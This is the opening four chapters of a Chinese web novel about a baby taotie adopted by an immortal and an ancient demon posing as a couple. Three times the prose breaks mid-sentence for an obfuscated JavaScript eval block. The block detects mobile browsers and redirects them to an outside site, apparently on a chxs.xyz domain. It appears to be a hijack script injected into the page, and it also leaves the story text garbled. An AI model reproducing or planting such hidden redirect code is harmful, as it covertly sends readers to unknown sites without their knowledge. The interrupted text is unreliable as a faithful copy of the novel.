《宝贝今天吃什么》 1. 第 1 章 冬天的早晨最适合睡懒觉。 柔软温暖的被窝，浑身松懈地藏在里面。 没有梦境打扰，只是纯粹的睡。 睡得很沉很熟，一觉睡到自然醒。 咕噜—— 咕噜噜—— 如果不是肚子里的饥饿感过分强烈，冬日差点就能拥有这样美好的早晨了。 可惜饥饿入侵睡眠，幻化梦境，变身成为蛋糕大怪兽，重重压在他身上。 冬日在梦里一阵窒息，随即猛地睁开双眼。 咕噜咕噜噜—— 好饿。 他想吃蛋糕了。 冬日打着哈欠，揉了揉眼，在暖烘烘的被窝里缩了缩身体后，才尝试将身上的被子蹬掉。 奈何被子太重，他蹬不掉。 一双小短腿用力扑腾好一会儿，被子还是纹丝不动，仿佛将他封印。 没办法。 冬日只能放弃抵抗，老老实实地从被子里爬出来，坐直上半身醒神。 这一觉睡得很是酣畅淋漓。 宽大轻薄的睡衣变得皱皱巴巴，领口全往一边倾斜，露出大半个肩膀。 栗色微卷的头发压倒大片凌乱，淡琥珀色的瞳孔还透着茫然。 原本白皙的脸颊两侧变得粉扑扑，杂乱地印着几缕发丝的痕迹。 但很可爱。 看上去就像块甜甜软软的焦糖小蛋糕，会让人忍不住想一口吞掉。 小蛋糕冬日安静坐了好一会儿，才转为清醒。 房间内很安静，周围没有其他人。 爸爸已经不在，他又睡了懒觉。 而现在，他准备起床，独自去寻找美味食物了。 小家伙慢慢吞吞爬到床边，踩着定制的小楼梯成功下床。 在床边找到自己的小熊猫拖鞋，先拨了一下会转动的纽扣黑眼珠后，然后才心满意足地穿上，踢踏踢踏地走出房间。 对于食物在哪个房间产生，以及哪个房间里的食物最多，冬日向来是最清楚的，所以离开卧室后，目标明确地朝着厨房前进。 谁知半路杀出小蛋糕。 凭借过分精准的美味雷达，路过客厅时，冬日的目光就自动锁定到茶几上的冰糖草莓，还有一个四寸的焦糖千层蛋糕。 肯定是爸爸忘记收起来了。 爸爸向来不让他在早上吃这些东西，总说这是零食，很没营养，小朋友在长身体，应该要多吃新鲜干净的米饭蛋肉。 所以这些东西最多放在饭后，不能挤占营养食物放在肚子里的空间。 冬日听是听懂了，可惜根本做不到。 因为他喜欢所有奶香又甜甜的食物，每次看到都走不动路。 又是在饥饿状态下见到自己喜欢的东西，一个小幼崽怎么能忍？ 当场将爸爸平日的叮嘱抛之脑后，朝着冰糖草莓跟小蛋糕加速跑去。 睡得干干巴巴的小幼崽，第一口必须朝着冰糖草莓进攻。 糖衣薄脆，被包裹的大草莓甜蜜多汁，还是冰冰凉凉的，一口下去，冬日顿时整个人都清醒鲜透了。 好吃，爱吃。 大吃每一口。 五颗甜滋水润的冰糖草莓很快下肚，竹签子变得光秃秃，冬日却还意犹未尽，感觉再来十串，他也能全部吃下。 随即视线转向旁边的焦糖千层，小家伙舔了舔沾在嘴角的糖碎末，拆掉透明盖子后，都等不及拿勺子，直接张口咬上去。 这就是梦里出现过的蛋糕大怪兽！ 没想到醒来落他手上了！ 看他现在把大怪兽一口吃掉！统统吃掉！ 焦糖千层的面皮很薄，还能尝出一股蛋香，奶油香甜不腻，奶味醇厚。 冬日一口接一口，前后不过几分钟，四寸小蛋糕就被他吞入肚中，连底盘上的奶油都刮得干干净净，真正做到了一点不浪费。 这两样食物算不上很多，对成年人不过正常食量，可对一个不过四五岁的小幼崽而言，到底还是有些多了。 刮干净最后一口奶油，冬日的小肚子就跟裹满馅料的小汤圆一样，在睡衣下鼓出了圆圆润润，并且非常饱满的弧度。 呼—— 但小家伙相当满意，摸摸自己的小肚子，叹出一口吃饱的气息后，幸福地往地板上一躺。 地面铺着暖气，躺上去温度适宜，也是热乎乎的。 冬日摊开四肢，一通伸展比划后，渐渐放松身体，最后像只小猫一样，瘫成一块扁扁软软的小猫饼。 睡醒就吃到了冰糖草莓跟小蛋糕。 吃饱又能继续躺平睡觉。 小日子看上去无忧无虑，平凡幸福。 可谁能想到呢，其实在不久之前，他还是个差点就饿死街头的小可怜。 没错，就是饿死街头。 因为冬日根本不是人类幼崽，而是一只胃口巨大的小神兽饕餮。 照理来说，像他这样的饕餮崽崽是不可能出现在人间的。 但没人知道中途发生过什么，又是怎么发生的，连冬日自己都不记得，毫无印象。 他只知道从有意识开始，自己就已经在人间流浪，过着饥一顿饱一顿的悲惨生活。 他不敢在闹市区现身，游荡在人迹稀少的边缘地区，常常迷路不说，还饿到身体状况亮起红灯。 失去了所有灵力，无法再化出原形，被迫成为一个孱弱瘦瘪的人类幼崽。 饿到无法忍受时，小家伙才不得不走上街头，只是还没讨到一口食物，又先因体力不支晕了过去。 直到睁眼，眼前多了两个陌生的大人，说要收养他，给他当爸爸。 之后两个大人不仅开始照顾他，让他有了温暖的住所跟漂亮的新衣服，还每天给他做各种好吃的食物，竟也真能将他喂饱，再没让他饿过肚子。 简直是像做梦一样的好日子。 可感觉幸运之余，冬日也有点害怕担忧。 虽然已经跟他们生活了一段时间，但冬日并不敢真将他们当成爸爸，还是有着无法忽略的陌生感。 尤其是他名义上的大爸爸。 大爸爸看上去就凶凶的，平日里对他也不是很热情，有时还会突然冒出些邪恶的冷冰冰，像在对他打什么坏主意。 冬日根本不敢叫他爸爸，被逼急了也只能喊声叔叔，要是大爸爸不满意他这么叫，那他更不敢开口，只有闭紧嘴巴。 但更主要是怕自己的真实身份暴露，会吓死他们。 在小神兽崽崽的认知里，人类是非常脆弱的生物，不仅躯体容易受伤，寿命也很短暂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988861|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虽然现在的自己也差不多，甚至还需要两个脆弱的成年人类来照顾。 可冬日坚信这只是暂时的，很快他就会长大，接着成为非常厉害的大神兽，会比爸爸厉害一百万倍。 小幼崽的脑部活跃程度堪比过山车，想象力更是不着边际。 从感觉幸福到感受担忧，再到想象自己成为超级厉害的大神兽，前后不过几分钟。 奈何刚醒就摄入过多糖分，眼皮说变沉就变沉，很快重得冬日快睁不开，又要睡过去了。 这时，大门的电子女音突然响起。 嘀—— “门锁已开。” 啪嗒—— “门未上锁。” 咚—— “门已上锁。” 是有人进来了。 声响惊破了冬日的瞌睡泡泡，他用力睁开眼后，两个爸爸已经走到他面前。 小爸爸冬眠的声音先响起：“宝宝，你起床啦，怎么睡在这里？” 比起模样凶凶的大爸爸，冬日对温柔小爸爸的接受度更高些，稍微努努力，也能磕磕绊绊地喊出爸爸。 小家伙一个翻身，姿势由躺着变成了趴着，接着短手短脚并用，从地板上爬起来。 可刚站直身体，准备喊声爸爸，冬眠的惊呼声先响起：“……桌上的东西你吃了？嗯？还都吃完了？” “……” 虽然不算责备，但这绝对不是夸赞的语气，冬日当场一顿，眨巴眨巴眼，称呼卡在小小的胸腔内，喊不出口了。 看到食物时，小饕餮宝宝满脑子就只想着要全部装进肚子，压根没想起爸爸的叮嘱。 等看到爸爸，这才想起爸爸说过哪些话，可惜已经来不及了。 “爸爸不是说过很多次吗，这些是零食，不能一口气吃太多，也不能在吃饭前吃，是不是？嗯？” “……” 冬日不敢应答，只下意识往后退了两步，表情怯怯的。 偷偷抬眼看向冬眠，结果不小心对视上了，又赶紧避开低下。 短短的手指揪着睡衣衣摆，本就皱巴凌乱的模样更添几分委屈，看上去非常可怜。 刚才还是只饱满圆润的小汤圆，现在就成了瘪瘪小汤圆，仿佛戳一下会直接流馅。 谁又能狠下心来凶这么一只小汤圆呢？ 冬眠盯了他几秒后，无奈叹气：“……好吧，爸爸也有不好，知道你爱吃这些，应该把它们藏起来，不该直接放外面的。” 还以为小家伙没这么早醒，冬眠就疏忽了，东西一放先出了趟门。 本想留着给小家伙当下午点心的，结果回来什么都不剩，连蛋糕底盘都刮得干干净净。 倒是很珍惜食物，一口没浪费。 “但以后不能这样了，知道吗？” 冬眠蹲到小家伙面前，伸手摸摸他肚子。 “不能在吃饭前吃这些东西，也不能吃这么多了……看看你的小肚子，都鼓出来了，都没地方装有营养的食物了。” 冬日眨眨眼，又抿抿嘴，像是鼓起了全身的勇气后，才很小声地说：“……有，有的。” 冬眠没听清：“嗯？” 小家伙便很贴心地加重了些音量：“……我，我的肚肚，装得下！还能吃哦！” 2. 第 2 章 虽然刚才也算吃饱了，小肚子都鼓了出来，但吃饱跟吃撑还是有区别的，一分撑跟十分撑的区别也不小。 作为一只天生就胃口极好的饕餮宝宝，冬日还真没体验过吃到十分撑的滋味，更是至今未知自己的最大食量有多少。 因为收养他的两位家长不可能让他吃这么多东西。 在大人眼里，小朋友是很容易就吃坏的脆弱生物，吃多吃撑都不好。 听到冬日口出狂言，竟然说自己还能吃，冬眠笑了笑：“你还吃得下啊？” 冬日认真地点点头：“……嗯呐！” 然而没有机会试验，因为冬眠压根不信，只当这是小孩胡说，都没往心里去。 他更倾向是自己吓到了小家伙，所以冬日才会勉强自己说出这种话。 也没办法。 谁叫小家伙是胆怯内向，又非常慢热的性格呢，相处已经快两个月的时间，跟他们亲近的进度却只有一点点。 他们还无计可施，只能慢慢来。 “那也不能吃了。” 冬眠放软语气，温柔地说：“小朋友吃那么多东西，身体会不舒服，肚子会痛哦。” “……” 冬日似懂非懂地眨眨眼，想说自己没有不舒服，肚子没有痛，真的还能吃，可大人已经说了不好，他不敢再说。 “这次就算了……好了，既然都吃完了，那爸爸先带你去换衣服，我们今天出门去买新衣服吧。” 说完，冬眠看向站在自己身旁的高大男人，眼神示意男人也说点什么。 可男人始终面无表情，沉默不语。 仿佛一棵高大的树，说不话，也不走，就是杵着。 安静流淌了十几秒。 冬眠捏紧拳头，忍着想直接招呼到对方脸上的冲动，温柔的嗓音都差点夹不住。 “好了，宝宝过来，爸爸带你去换衣服。” “……嗯！” 冬日将自己的小短手交到爸爸手掌里，乖乖被牵着走了。 其实小家伙有很多新衣服，塞了满满一个衣柜，每天穿新的都能两个月不重样。 所以大人的目标并不是衣服，而是为了跟小家伙增加户外互动的机会，尽早搞好关系。 否则他们看着不像一家三口，反而引人怀疑。 现在想想，也是他们当初太天真，将领养一个小孩想得太简单了。 以为给吃给穿给住就够了，很快能成为成合格的一家三口。 实际跟小朋友相处是门艰难的大学问，快两个月了都不得入门，目前还在门外摸索。 要能提前知道结果，他们肯定不会多此一举。 可时光无法倒流，局面已经变成这样，谁都不愿承认这个决定愚蠢，哪怕咬烂牙根，都要硬着头皮做下去。 其中具体情况说来复杂，总之他们的真实身份也不是人类。 冬眠是神仙，全名云海明幽真君，掌管世间一切神树凡木，真身是一株木芙蓉，已有上万年的修为。 站在他身旁男人叫殷天，原形是上古魔物。 因为性格暴戾阴狠，曾火烧天庭，所以被囚禁关押了三千年，目前在冬眠的监管下暂得自由。 仙界真君跟服刑魔物在人间假装一对恩爱夫夫——这事怎么看都很离谱。 但冬眠身不由己，实在是有重大任务压在肩上。 几个月前，原本被封印在天界之牢的小魔物突然冲破封闭，逃到了人间。 偏偏又只有殷天这个大魔物才能找到小魔物的下落，并拥有将其就地诛杀的能力。 为成功找到小魔物并将其诛杀，天界不得不求助殷天。 作为回报，承诺在其诛杀小魔物后就还他自由。 双方很快谈妥条件，只是怕殷天出尔反尔不认账，所以才决定找一个神仙全程看管辅助他——很不幸，冬眠就是那个被随机抽中的倒霉蛋。 这项计划被要求低调隐蔽地进行，绝对不能引起任何骚乱风波。 因此他们在人间的身份是最最普通的平民，同时居住在市区边缘的普通小区。 可两个大男人住在一起的时间太长，关系必然引起周围邻里讨论。 说是普通室友——他们的关系从表面看就不像普通室友，这么说反而像在欲盖弥彰，说不定更引人好奇。 说是兄弟——长相根本就是两模两样，说给鬼听都不信。 说是父子——简直是岂有此理，更过分了。 最后只好选择了冬眠最不情愿，但也是最稳妥的夫夫关系。 因为在其他假设关系中，一旦被人察觉不合理，最先怀疑的方向就是他们到底是否纯洁。 那么与其被人猜测是不是有道德问题的姘居关系，不如直接摊开承认，这样也就没人好奇了。 为了使这段关系看上去更可信，以及这个虚假的家庭表面更稳固，他们才会头脑一热，看到路边有个饿晕的孩子就捡回家养。 然后两个月过去，最重要的任务毫无进度。 只顾着手忙脚乱地养孩子了，小魔物的下落竟是没有丝毫线索。 带冬日回房间换好外出服，“一家三口”上车出发。 他们的车子也很普通。 一辆二十几万的代步车，车身还沾着层灰尘，给人感觉就是旧旧的，开上马路加入车流后，立刻找不到在哪。 看上去真是非常平凡无奇的一家。 倒是跟人类社会融合得很好。 车内。 殷天负责驾驶，冬眠坐在副驾驶。 冬日抱着小企鹅玩偶，独自坐在后排的安全椅上。 平时出门，冬眠都是跟冬日坐后面的。 他极度讨厌殷天这个大魔物，能离多远是多远，很纯粹地把大魔物当司机用。 今天难得坐回副驾驶，目的是为了跟殷天更好地进行心声沟通。 这是只有他们两个人才能听到的，完全隔绝外人偷听的沟通方式。 看上去很安静。 一个静静开着车，一个手托脑袋看着车窗外。 其实已经沟通到冬眠想把大魔物掐死的程度。 冬眠：【你就不能对孩子热情温柔点吗？成天摆着个脸，孩子到现在都还怕你，这像话吗？】 大魔物就是大魔物。 化成人形有将近两米高的大体格，一身健硕结实的肌肉不说，长相也是十足的臭脸淡漠。 都不需要开口说话，沉默高冷地往那一杵，用凶狠眼神就能吓哭小朋友了。 殷天：【我已经尽力了】 面对冬日，他已经很努力地伪装本性，摆出最温柔可亲的那面。 但可能是他伪装水平不过关，也可能是小幼崽在这方面的感知过分敏锐。 总之不管他怎么做，冬日都不敢真正跟他亲近，始终保持着距离。 冬眠：【你哪里努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988862|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力了？还在家的时候，我都示意你说点话哄哄他了，那么好的机会，结果你什么都没说】 殷天：【我怕我一开口，他只会更害怕】 冬眠压根不信。 冬眠：【你不试试怎么知道？要总是这么想，那永远没有合适的机会，他怎么能接受你？】 大魔物的耐心也很糟糕。 冬眠不过稍微多说两句，殷天就开始不耐烦。 殷天：【养小孩好麻烦，还是让我一口吃了他，省下这些麻烦吧】 冬眠立刻否决：【不行！】 对一个能火烧天庭的大魔物来说，再吃掉一个无父无母的孤儿小孩根本不算什么。 可冬眠心中有自己正义的道德标准，绝对不允许伤及无辜的事发生。 冬眠：【你要敢对他乱来，我一定扒了你的皮】 不过面对大魔物，这套正义标准立即失效，冬眠也能说出很血腥的话。 殷天笑了笑。 对于冬眠心狠手辣的说法，非但没有任何不平衡，反而觉得很有趣。 殷天：【好吧，听你的，我亲爱的老公】 冬眠：。 冬眠：………… 虽然是用类似心电感应的方式，他们并不能真正听到对方的声音，可接收到“老公”这个称呼时，冬眠还是立刻爬起一身鸡皮疙瘩，恨不得把殷天的嘴巴撕烂。 自从确认这层伪装身份后，大魔物就乐此不疲地用这种方式恶心他。 冬眠：【……信不信我撕烂你的嘴？】 殷天：【老公凶凶，人家哭哭】 冬眠：……………… 冬眠沉默闭眼，满脸都是生无可恋。 不能再说了。 要再这么说下去，他怕自己真会忍不住，当着孩子的面就暴露真身，亲手活撕了大魔物。 深呼吸换口气。 不气不气。 看看孩子平复下心情吧。 虽然相处亲近的进程缓慢，可小家伙很可爱，抱着小企鹅玩偶乖乖坐着，全程不吵不闹，是个乖巧安静的好宝宝。 从车镜里看眼小家伙，冬眠感觉心情好多了。 就是小家伙抱着的小企鹅玩偶实在太脏了些。 这个玩偶并不是他们给买的。 他们捡到小家伙时，小家伙手里就紧紧攥着这只小企鹅，怎么都没肯放手。 玩偶身上的衣服早就破破烂烂，一只手臂还没了，里面的棉花已经漏出来。 眼珠扣子上也满是刮痕，缝的线很松了，掉下来是迟早的事。 饶是如此，小家伙还是珍惜得要命，刚捡他回家那段时间，每晚睡觉都要抱着，不然根本睡不着。 现在好些了，在家已经不怎么要抱。 可每次出门还是必须带上，否则他去哪里都像只小鹌鹑，缩着身体不能放松。 “宝宝。” 冬眠想了想后，开口问道：“今天再给你买个新的小企鹅玩偶好不好？你手里这个太旧啦，爸爸给你换个新的吧？” 没想到小家伙立刻拒绝了：“……不要！” 平日里像颗软软糯糯的小汤圆，谁来戳戳都没事，此刻却非常坚定倔强，双手紧紧环抱住破烂小企鹅。 冬日很认真地说：“……我，我不要新的！我就要这个！” “我不会跟他分开的！” “我们，我们是……要过一辈子的！” 3. 第 3 章 小企鹅玩偶是冬日捡来的。 但对他来说，这绝对不是一个可以随意替换丢弃的布料棉花娃娃，而是一个非常重要的，不可或缺的心灵支柱。 虽然他忘记自己是在哪里捡来的了，可刚捡到的时候，小企鹅玩偶干净又漂亮，看上去就像新的一样。 只是后来跟着他到处流浪，经历各种风吹雨打，泥淹土埋，才变成了如今破破烂烂的模样。 冬日对小企鹅甚至是心怀愧疚的。 他总觉得自己很对不起小企鹅，没有照顾好小企鹅。 明明小企鹅为他做了这么多。 在他那么孤单害怕的时候来到他身边，之后一直默默陪伴他。 被他折腾成这样也没任何责怪抱怨，始终不离不弃。 还不需要食物喂养，把当时所有好不容易得来的食物都留给他。 简直是小幼崽在人间遇上的第一道光。 那时他多无助寂寞啊。 没有任何记忆，不知道自己作为小神兽的家在哪，也不敢贸然进入人类生活的世界，好像被全世界抛弃，苟且在细小的夹缝中艰难求生。 只有小企鹅陪着他。 每天只有将脑袋枕到小企鹅软软的躯体上时，他才有点依靠的安全感，才感觉没那么孤单了。 所以在他有了“爸爸”，有了“新家”后，第一件事就是跟小企鹅有福同享。 他经常将小企鹅摆在家里阳光最好的地方，让小企鹅尽情享受阳光。 有时还会将甜品零食先上贡给小企鹅，等小企鹅吃过了再吃。 他也知道小企鹅变得破破烂烂，很多地方都被他搞坏，不能再随意折腾了。 所以在家时他尽量都不抱小企鹅了。 只是来外面没办法，不抱着小企鹅就没安全感，必须得带上。 听到爸爸说要换掉自己珍贵宝贝的小企鹅，冬日不高兴极了。 不高兴又伤心。 细想自己跟小企鹅经历的风风雨雨，此刻泪水珠子已经在眼眶内打转。 可惜冬眠没扭头，便没能看到小家伙已经有些微微泛红的眼底。 “但是这个小企鹅真的太旧了。”冬眠商量着说道，“这样吧，要是有一模一样的小企鹅，我们就换个新的，好不好？” “……不好！” 再问一句，冬日还是相当坚定地选择拒绝。 虽然不懂“旧”的具体含义，可小家伙能感受语气跟情绪，直觉告诉他这不是什么好话，他也不喜欢大人用这种语气形容小企鹅。 于是一边用力否认：“……他不是，不没有！” “他就是，这样的！” “他很棒……不可以，说他不好！” 说到最后一句，稚嫩的腔调已经带上哭音，大概是想到自己跟小企鹅被迫分离的画面，内心立刻感到十分悲伤。 冬眠当场顿住，没想到小家伙反应这么强烈，忙哄道：“好吧好吧，那我们不换小企鹅了，宝宝喜欢这个，那就继续用这个，我们不换了。” 大人理所当然不能知道小企鹅的重要性，因为冬日从未告诉过他们。 并且从目前的相处情况来看，他们的亲子关系也没好到冬日能开口述说的程度。 但听到大人说不换了，冬日便终止了分别场面的画面想象，同时压下想要落泪的悲伤。 “……嗯。” 小家伙点点头，态度全程很认真。 “……宝宝喜欢这个，宝宝不想换。” 他不知道“宝宝”是个多亲昵宠爱的称呼，他只知道冬眠这么叫他，那他就可以这么自称。 于是前一秒还心怀愧疚紧张的冬眠，下一秒就被这声自称萌了满脸。 怎么还会自称宝宝呢。 尤其用了这么稚嫩可爱的奶声奶气，简直可爱值超标，可爱到犯规了！ 二十分钟后，他们到达了目标商场。 车子顺利驶入地下停车场。 下车前，冬眠的情绪已经平复，能再次跟殷天进行心声交流了。 冬眠:【你去带日日下车，对他温柔点，不许再吓到他了】 好在殷天没胡言乱语，这回配合应道：【知道了】 随后先一步开门下车，走向后座，为小家伙打开车门。 对于眼前这个孱弱瘦小的人类幼崽，殷天的态度显然没冬眠那么友善耐心了。 在上古魔物眼里，这么个小家伙，当口储备粮都不够，吃他都是浪费身体能量。 他之所以选择忍受，纯粹是为了刷刷自己在冬眠心里的好感值。 被天界囚禁整整三千年，要不是醒来先看到冬眠的脸，他早已再次火烧整个天界。 毕竟三千年前的失败，对殷天来说就是场阴沟里翻船的耻辱。 当时他会被天界抓捕关押，并非天界的战斗力有多强，而是他真活了太久，久到竟然忘记自己作为上古神物，无法避免的休眠期即将到来——那将是他力量最薄弱的时期。 酣战不过半，殷天浑身的力量突然开始松懈，最终很不甘但无奈地束手就擒，成为天界的阶下囚。 上古魔物的休眠期很长，最少两千年，上不封顶。 殷天休眠过好几次，每次至少沉睡八千年。 所以天庭释放他时，等于将他从沉睡中强行唤醒——睡眠不足的后果可是很恐怖的——如果唤醒他的人不是冬眠，天界怕是又要掀起一阵腥风血雨。 可唤醒他的人正好是冬眠。 一个白皙清冷的貌美小仙，身上带着股淡淡的木质熏香，眼神温柔清澈，尽管开口很不客气。 “魔物，不想死的话就乖乖听话。” “……” 为了管制他，天界在他身上落下四十一道束缚锁。 虽然实际效果为零，他抬抬手就能全部拆了。 只是为了让冬眠相信有用，他一直受着，假装自己无力挣脱。 对冬眠的态度，他有真实的心动，但玩味更重。 谁叫小神仙一副压根看不上他的样子。 而越是得不到的东西，越让人想要征服。 好奇有趣加上好胜心，最终让殷天蛰伏乖张本性，同意了天界荒唐的要求。 他倒要看看，自己需要多久才能拿下眼前这位小神官。 因此，对领养孩子这件事，他起初没有反驳，全凭冬眠决定做主。 可当冬眠将大部分心思都放在孩子身上，连找小魔物都暂且抛到脑后，殷天就有些不爽了——毕竟他在冬眠身边就为了这点用，如果冬眠不用他，那他还刷什么存在感？ 关键这个孩子还很胆小，跟他并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988863|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲近，不管他怎么伪装怎么哄，感情进度都不会往前一步。 真碍事。 除了碍事还是碍事。 就算没有这个小家伙，他们的计划也能继续进行，还少个东西分散小神仙的注意力。 迟早有天把这小家伙一口吞了。 但现在—— 站在后座车门前，殷天按了按脸，挤出一个教科书般的标准假笑。 随后打开车门，夹着最温柔的嗓音，对着小幼崽开口：“宝宝，下车了，来，让爸爸抱你下去。” “……” 可回应他的只有沉默。 长长的沉默。 冬日看上去何止是呆愣，简直就像被吓傻了，好几秒后才找回反应——随即更加用力地抱紧小企鹅，并且整个人都往后缩了缩，恨不得座位上的安全扣能把他捆更紧点。 此时无声胜有声。 小家伙的反应已经给出了回答：不要，你千万不要抱我，你最好离我远点。 但殷天并不能感受到小家伙的害怕，见他没反应，嘴角笑容反而扯开更多，还露出了森白的牙齿。 “怎么了宝宝，快点下车啊，爸爸抱你。” “……” 更恐怖了。 殷天永远想象不到，落在小家伙眼里，此刻的自己有多吓人。 浑身鬼气森森，简直跟要吃小孩没什么两样，连脸上难得挤出的笑意，看上去也像要吃孩子前的奸诈喜悦。 同样是“宝宝”的称呼。 冬眠这么喊，冬日会感觉心头暖暖软软的，有种被冬眠疼爱关心着的感觉。 但殷天这么喊，第一反应竟是想要否认撇清。 要不是人类语言系统还没开发完毕，他大概会很直白地说出口：你不要喊我宝宝，我不是你的宝宝。 奈何他不会表达，无法准确描述此刻的心情有多复杂。 大爸爸笑得太恐怖了太可怕了…… 大爸爸还像座山一样堵住了车门，更恐怖更可怕了…… 他真的不敢让这样的大爸爸抱自己下去啊，他好害怕…… 可是大爸爸平时对他挺好的。 他是不是不能害怕大爸爸，不应该有这种害怕的情绪…… 他要答应才对吧…… 他要做个听话的小孩，让大人喜欢，万一他惹大爸爸生气，大爸爸要把他丢掉了怎么办…… 理智的思考跟本能的真诚在心底来回拉扯，实在是怎么选都不情愿。 沉默流淌过的时间越来越长，气氛好像也越来越冷，冷到连小幼崽都察觉到了几丝微妙的尴尬。 怎么办。 怎么办怎么办。 虽然身体背叛真心，选择向现实妥协，小家伙缓慢停顿着解开了身上的安全扣，可想到真要被殷天抱出去，内心还是在沉默中逐渐焦灼，急得眼泪开始打转，马上就要哭出来了。 关键时刻，冬眠一把推开殷天，朝着冬日伸开双手：“好了好了，还是我来抱吧，宝宝不怕。” 小家伙仿佛见到救星，立即往冬眠怀里扑去。 稳稳抱住后，还将整个脑袋小脸也全封闭藏入冬眠怀里，生怕被殷天多看一眼。 那架势，似乎殷天多看他一眼，那都是在占他便宜，他就要立刻拨打电话呼喊警察叔叔了。 4. 第 4 章 这下殷天是真想把小家伙一口吞了。 还没他拳头大的小东西，刚才的反应是在嫌弃他吗？ 嗯？ 就算表现出来是害怕的样子，但那也是在嫌弃吧？ 嗯？ 竟然敢嫌弃他？ 嗯？？ 如果没刻意伪装出前所未有的温柔，殷天还不至于这么破防。 试问他对谁有过这种时候？ 连夹子音都用上了，嘴角的笑容都快咧到后脑勺了——可小家伙居然是这种回应？ 太有挫败感了。 实在太气人了。 看着小家伙主动扑到冬眠怀里，还将脑袋埋得深深，生怕被他多看眼似的——上古神物更加大破防。 真想把小家伙一半刺身凉拌，一半油炸烧烤。 却什么都不能说。 只能咬牙切齿闭上嘴，跟在他们身边，任由大团无奈的阴霾笼罩在头顶上方。 可见到殷天这幅模样，冬眠是真的身心舒畅，恨不得伸手揉揉冬日脑袋，给他甚是欣慰的鼓励。 感觉收养小家伙的优点增添重要一条。 那就是竟然能让大魔物吃瘪？ 他该不会是什么大魔物的小克星吧？ 本来看到冬日害怕，冬眠心里是不满的——都说了不要吓到孩子，这个大魔物在做什么？ 他该不会以为自己笑得很可爱吧？ 他是魔鬼吗？ 谁知最后看到了大魔鬼失败还只能忍耐的模样。 画面极度舒适。 冬眠觉得天气都没那么冷了。 小家伙又窝在他怀里，毛茸茸的小脑袋似乎还想往衣服里钻，要彻底把自己藏起来。 小小的身躯热热软软，抱起来一点不重。 不仅长得像颗小汤圆，抱起来的手感还更像小汤圆。 冬眠抱着可爱的小汤圆宝宝，心情愉悦地进了商场。 地下一层都是吃的。 从自动门进去，往前走没几步，各式各样的食物香味就弥漫飘散在空气里。 鸭货卤味，炸鸡烤串。 麻辣烫铁板烧，蜜饯奶茶甜品。 怀里的小汤圆大概是嗅到了味道，脑袋突然拱了拱，似乎在做一场自我斗争的挣扎。 最后被引诱的食欲战胜所有，从冬眠怀里抬起脑袋。 圆润的小鼻头因闻嗅不停动着，眼睛一眨不眨地跟随各样食品移动。 到底是没忍住。 “……好，好香哦！” 小饕餮宝宝是真的忍不住啊。 一闻到如此复杂繁多的食物香味，感觉出门前的冰糖草莓跟千层蛋糕立刻消化完毕，又可以大吃一顿了。 下巴抵在冬眠肩膀上，小家伙眨巴眨巴自己的大眼睛，弱弱地开了口：“……宝宝，宝宝有点饿了！” 无意识地开始示弱卖萌。 并成功萌了冬眠满脸。 冬眠当然愿意买食物给他，只是想起出门前吃的那些，对一个小孩来说已经算多，这会儿没立刻就买。 哪能这么快就饿了，八成是馋了吧。 但也很正常。 五花八门的食物摆在身边，一个小孩的定力能有多少？ 冬眠想了想：“我们先去买衣服，等买完衣服再来吃，好不好？” 小家伙立刻点头答应：“……嗯，好哦好哦！” 于是对买衣服的态度也积极起来，想着趁早买完，就能趁早来吃东西。 这里香喷喷的食物太多了。 到时候该选哪些呢，可不可以都选呢。 被殷天吓到的阴影逐渐淡去，幻想着这些食物的美味口感，冬日满脸期待，都忘记要将脑袋藏回冬眠怀里了。 他们乘着扶梯上楼。 刚上二楼，就看到扶梯口边上新开了一家巨大的小企鹅主题馆。 冬日眼尖，被花花绿绿的门店眼色吸引，发现招牌是个巨大的小企鹅头后，惊喜出声：“哇！小企鹅！跟我的，一样的小企鹅！” 冬眠跟殷天这才回头，看到了小家伙指向的巨大门店。 他们对人间幼崽的韭菜项目了解不多，还以为冬日抱着的就是个普通玩偶，没想到是某个大热动画的周边产品，ip能在商场开出这么大的主题商店。 “那进去看看吧。” 看着冬日怀里破败不堪的小企鹅玩偶，冬眠心里默默想着，要真找到一样的玩偶，绝对把他这只换了。 工作日午后，商场内的总体人流不大，店内更少，他们进去后宛如包场。 里面各种商品都有。 从玩偶到牙刷，从贴纸到绘本，主打绝不让任何一个小朋友空手出去。 因为一进来，小朋友就被迷惑了身心，只剩下放光的双眼，跟一张只会喊“哇”的嘴巴——至少冬眠怀里的小朋友是这样。 “哇——好多小企鹅啊！” “好多好多，好多的小企鹅！” “跟我一样的，还有不一样的！” “哇——” 冬眠默默看了眼价格，嗯，价格果然也很叫人心脏骤停。 一根儿童牙刷就要59元，一个小小的钥匙扣则高达159元。 